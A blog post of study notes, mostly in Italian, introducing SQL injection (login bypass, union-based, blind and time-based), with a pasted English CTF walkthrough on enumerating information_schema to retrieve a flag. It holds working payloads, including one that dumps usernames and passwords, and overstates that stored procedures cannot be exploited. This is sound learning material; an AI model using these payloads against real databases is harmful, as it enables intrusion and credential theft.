Home SQL injection - intro
Post
Cancel

SQL injection - intro

Database Vulnerabilities

Vulnerabilità web su Database:

  • SQL Injection
    • Login bypass
    • Union-Based
    • Blind
      • Time based
  • Logical Errors

informazioni logiche interessanti

cercare nomi tabelle, utenti, collegamenti

Database relazionali

CRUD (create, read, update e delete)

query per la selezione, aggiunt, delete e update, drop SQL

1
2
3
4
5
6
7
SELECT * FROM Users WHERE Username='".$_POST['username']".' AND Password='".$POST['password']."'

INSERT INTO ...
DELETE FROM ...
UPDATE Users SET Password ...
DROP TABLE Users ...

Operatore Union - unisce tabelle, solo se ritornano lo stesso numero di colonne, e sulla stessa colonna devono stare dati dello stesso tipo

1
SELECT u,p FROM Users UNION SELECT ...

Login Bypass

1
2
' OR 1=1 -- 
-- è un commento (c'è uno spazio dopo)

Analisi

Quanto restituito dipende dalla priorità assegnata agli operatori logici Di solito viene interpretato prima

Select Where (1 AND 2) OR 3

Quindi viene restituito tutto il database

A volte serve di più fare la injection nel campo USERNAME perchè commentando fuori il check della password viene restituito tutto il DB, e soprattutto perchè il campo password spesso viene passato come HASH.

Union Based SQLi

serve il numero esatto di colonne, si può bruteforcare il numero di tabelle, oppure:

ORDER BY -> specificare l’indice della colonna e bruteforcare il numero di colonne usando questa query, il numero 31 funziona, il 32 no, la tabella ha 31 colonne

Recuperare nomi Tabelle e Colonne

alcuni DB hanno una tabella particolare Database, information_schema:

al suo interno troviamo tables e columns

SELECT column_name FROM information_schema.columns WHERE table_name = "Users"

Schema enumeration(?) GIYF Google is your Frient

Group Concat

1
SELECT title,post FROM posts WHERE id =  1 and 1=0 UNION SELECT 1,group_concat(username, ':', password) FROM Users -- 

unisce risultati in più righe, in un’unica riga

Blind SQLi

Se non è possibile vedere il risultato di una UNION…

Il sito si comporta in modi diversi a seconda di cosa viene ritornato dal DB -> ORACOLO is the win key

Un form di login potrebbe ritornare Login Successful se viene ritornata anche solo una tupla

operatore LIKE serve a elaborare risultati con regex

1
AND password LIKE 'a%'

se ritorna qualcosa la pass inizia con a -> si usa questo oracolo per decifrare la password

wildcards con LIKE

  • % -> 0+ caratteri
  • _ -> 1 carattere

    per rendere case-sensitive usi LIKE BINARY

substring

1
2
AND (SELECT ... AND substring(password, 1, 1)= 'a') 
substring(password, 1, 2) = 'aa')

Time-Based

Se non cambia comportamento in nessun modo, bhe, lì ci azzicchi una sleep(2). a quel punto

1
SELECT sleep(2)

a questo punto diventa uguale alle blind

Remediation

Gli escape possono tralasciare cose

invece: le STORED PROCEDURES sono impossibili da exploitare

Object Relational Mapping

le nostre entità di database diventano classi e vengono sanitizzati automaticamente

Falle Logiche

errori semantici (confronti tra stringhe e interi) Interpretazioni errate

controllare se il flow di esecuzione è corretto

ad esempio:

per resettare una password usa uno script che richiede un username e un token valido -> crei un token valido e lo usi per un username a caso

mysql payload: “1111 UNION (SELECT GROUP_CONCAT(table_name))

UNION (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema = DATABASE()) –”)

PAyloads

Union Based SQL Injections

Finally, it’s time to retrieve the flag. But where is it? We need to find out by looking at what tables and columns are in the database.

By googling at the version number that you retrieved before, you should know that the DBMS that the backend is using is MySQL. MySQL provides a useful schema to retrieve database metadata, called INFORMATION_SCHEMA (link).

Two of the tables of this schema are very useful for what we need to do:

The tables table (Sorry for the repetition..) that contains a list of all tables accessible by the current user. Its most useful columns are: table_name: the name of the table table_schema: the schema that contains the table The columns table that contains a list of all the columns of all the tables accessible by the current user. Its most useful columns are: column_name: The name of the column table_name: The name of the table that contains the column table_schema: The name of the schema that contains the table that contains the column Using the following query, you can retrieve all the tables that are accessible by the current user

SELECT table_name FROM information_schema.tables

Because there are a lot of ““system”” tables, that don’t contain any useful information, you may want to exclude them by querying only for tables that are in the current schema. In order to retrieve the current schema, you can use the function DATABASE(). So the above query becomes:

SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE()

And for retrieving a list of all columns of a particular table:

SELECT column_name FROM information_schema.columns WHERE table_name = '*name_of_the_table*'

You can also retrieve all columns-tables with the folliwn query:

SELECT table_name,column_name from information_schema.columns WHERE table_schema=DATABASE()

Now you have everything that you need to retrive the flag; You only need to adapt the queries. The only problem you can encounter is the closing ‘, that will break your sintax. You have two options:

You comment it out, using the MySQL comment syntax – (note that it needs a space character at the end)

' UNION SELECT first_column,second_column,3,4,5,6 FROM table WHERE somecolumn='something' -- 

You can add an AND clause to the where that is always true, for example:

’ UNION SELECT first_column,second_column,3,4,5,6 FROM table WHERE somecolumn=’something’ and 1=’1 In this way, the append quote will close the 1=’1 , and the query will be syntactically correct.

This post is licensed under CC BY 4.0 by the author.